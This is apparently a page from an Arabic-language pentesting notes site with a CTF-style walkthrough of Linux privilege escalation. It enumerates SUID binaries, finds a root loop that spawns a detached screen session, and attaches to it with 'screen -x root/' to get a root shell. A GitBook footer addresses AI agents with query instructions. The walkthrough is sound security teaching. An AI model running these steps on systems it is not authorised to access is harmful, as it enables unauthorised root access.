> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ar/privesc/suid/suid-screen-linux-privilege-escalation.md).

# SUID screen - تصعيد امتيازات لينكس

## ما هو

تعمل ثنائيات SUID بامتيازات مالكها، وغالبًا ما يكون الجذر. ويمكن لثنائي SUID ضعيف أو قديم أو مرن أكثر من اللازم أن يقرأ الملفات المحمية، أو ينشئ صدفة ذات امتيازات، أو ينفذ شيفرة يتحكم بها المهاجم. تركز هذه الصفحة تحديدًا على **SUID (الشاشة)** وتحافظ على سير الاستغلال بشكل عملي: حدّد الحالة، تحقّق منها بأمان، ثم شغّل أصغر حمولة لازمة لإثبات الأثر.

## الاستكشاف

ابدأ بتأكيد السياق المحلي والتهيئة الخاطئة الدقيقة قبل تشغيل مسار الاستغلال.

```bash
find / -perm -4000 -type f 2>/dev/null
```

## أمثلة

#### تحديد الثنائيات ذات SUID

سنبحث عن الملفات التي تم تمكين بت SUID لها على النظام باستخدام الأمر التالي:

```bash
find / -perm -4000 2>/dev/null
```

<figure><img src="/files/2f56f84c1c04d19f0d7d836629b40c2bfc915642" alt=""><figcaption></figcaption></figure>

#### تحليل عملية Screen

لمراجعة العمليات المتعلقة بـ Screen قيد التشغيل، نستخدم الأمر التالي:

```bash
ps -aux | grep "screen"
```

<div data-full-width="true"><figure><img src="/files/37396af1437ebd44703bf139eec9d1e3e241bab2" alt=""><figcaption></figcaption></figure></div>

نجد العملية التالية قيد التنفيذ:

{% code overflow="wrap" %}

```bash
/bin/sh -c while true;do sleep 1;find /var/run/screen/S-root/ -empty -exec screen -dmS root /;; done
```

{% endcode %}

تُظهر العملية أعلاه أن Screen مهيأ لإنشاء جلسة root إذا كان `/var/run/screen/S-root/` المجلد فارغًا. باستخدام هذا التكوين، يمكننا استخدام Screen للحصول على وصول root.

```bash
screen -x root/
```

### العلم root.txt :)

بعد الوصول إلى Screen بصلاحية root، أصبحت لديك الآن صلاحيات المسؤول.

<figure><img src="/files/7997e17081d09277267c7e44dc0f19bde756ffcf" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ar/privesc/suid/suid-screen-linux-privilege-escalation.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
